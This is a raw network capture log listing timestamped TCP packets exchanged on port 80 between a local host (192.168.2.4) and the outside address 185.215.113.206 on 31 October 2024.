Oct 31, 2024 17:26:28.713066101 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.713077068 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.713088989 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.713093042 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.713102102 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.713120937 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.713145018 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.713398933 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.713439941 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.713570118 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.713608027 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.713740110 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.713752031 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.713778019 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.713794947 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.750406981 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.750421047 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.750431061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.750442982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.750453949 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.750466108 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.750473022 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.750479937 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.750524044 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.750606060 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.750619888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.750631094 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.750653982 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.750669956 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.751154900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.751168013 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.751194954 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.751219988 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.803117990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.803137064 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.803148985 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.803174973 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.803195953 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.803440094 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.803452015 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.803482056 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.830342054 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.830389977 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.830401897 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.830421925 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.830447912 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.830511093 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.830559015 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.830630064 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.830641985 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.830658913 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.830668926 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.830684900 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.830702066 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.830724001 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.830758095 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.830921888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.830935001 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.830966949 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.830985069 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.830996037 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.831011057 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.831032991 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.831048012 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.831201077 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.831245899 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.831274033 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.831285954 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.831319094 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.831337929 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.831446886 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.831459045 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.831492901 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.831521988 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.831558943 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.831583977 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.831599951 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.831618071 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.831743956 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.831757069 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.831767082 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.831782103 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.831796885 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.831810951 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.868082047 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.868165970 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.868339062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.868351936 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.868371010 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.868377924 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.868383884 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.868402958 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.868415117 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.868427038 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.868427038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.868472099 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.868671894 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.868683100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.868693113 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.868705988 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.868716002 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.868731976 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.868767977 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.868871927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.868966103 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.869507074 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.869551897 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.921046019 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.921109915 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.921156883 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.921169043 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.921200991 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.921215057 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.921242952 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.921253920 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.921281099 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.921295881 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.948817015 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.948873997 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.948903084 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.948915958 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.948940992 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.948960066 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949040890 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949052095 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949063063 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949076891 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949079990 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949101925 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949131012 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949286938 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949297905 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949310064 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949323893 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949346066 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949470997 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949482918 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949503899 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949503899 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949515104 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949541092 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949542046 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949568987 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949584961 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949821949 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949834108 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949862003 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949879885 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949892044 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949897051 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949903965 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.949920893 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949928999 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.949948072 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.950015068 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.950053930 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.950086117 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.950097084 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.950122118 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.950150967 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.986211061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.986259937 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.986273050 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.986275911 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.986295938 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.986314058 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.986422062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.986433983 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.986445904 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.986459970 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.986469030 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.986505985 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.986522913 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.986701012 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.986712933 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.986730099 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.986742973 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.986742973 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.986768007 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.986783028 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.986808062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.986820936 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.986831903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:28.986851931 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:28.986881971 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.029607058 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.029658079 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.029669046 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.029691935 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.029707909 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.043262005 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.043275118 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.043286085 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.043318033 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.043334961 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.043397903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.043410063 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.043446064 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.066930056 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.066987038 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.067068100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.067079067 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.067112923 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.067150116 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.067193985 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.067262888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.067274094 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.067321062 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.067406893 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.067419052 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.067455053 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.067533970 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.067588091 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.067598104 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.067610025 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.067620993 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.067637920 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.067653894 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.067833900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.067879915 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.067956924 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.067970037 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.068007946 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.068591118 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.068603039 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.068614006 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.068625927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.068640947 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.068655968 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.069828987 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.069839001 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.069870949 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.071625948 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.071635962 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.071669102 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.104660988 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.104733944 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.104739904 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.104753971 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.104784012 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.104799032 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.104953051 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.104964972 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.105005026 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.105160952 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.105173111 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.105210066 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.105231047 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.105264902 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.105309010 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.105398893 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.105412006 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.105422974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.105436087 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.105451107 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.105474949 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.105721951 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.105735064 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.105773926 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.149252892 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.149322033 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.149355888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.149369001 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.149396896 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.149415016 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.161729097 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.161798954 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.161823034 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.161835909 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.161868095 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.161909103 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.161976099 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.161988020 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.162040949 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.185014963 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.185097933 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.185193062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.185209990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.185221910 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.185234070 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.185245991 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.185265064 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.185297012 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.185338020 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.185348988 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.185386896 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.185543060 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.185554981 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.185594082 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.185739040 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.185750008 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.185791969 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.185931921 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.185947895 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.185981035 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.185997963 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.186096907 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.186108112 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.186117887 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.186125040 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.186136007 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.186142921 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.186158895 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.186194897 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.186512947 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.186523914 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.186536074 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.186557055 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.186574936 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.186598063 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.187000036 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.187016964 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.187027931 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.187051058 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.187072039 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.222405910 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.222475052 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.222486019 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.222589970 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.222613096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.222626925 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.222660065 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.222681046 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.222754955 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.222767115 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.222801924 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.222867966 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.222913027 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.222973108 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.223020077 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.223052025 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.223062992 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.223084927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.223097086 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.223130941 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.223278046 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.223289967 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.223336935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:29.223340034 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:29.223376036 CET	62829	80	192.168.2.4	185.215.113.206
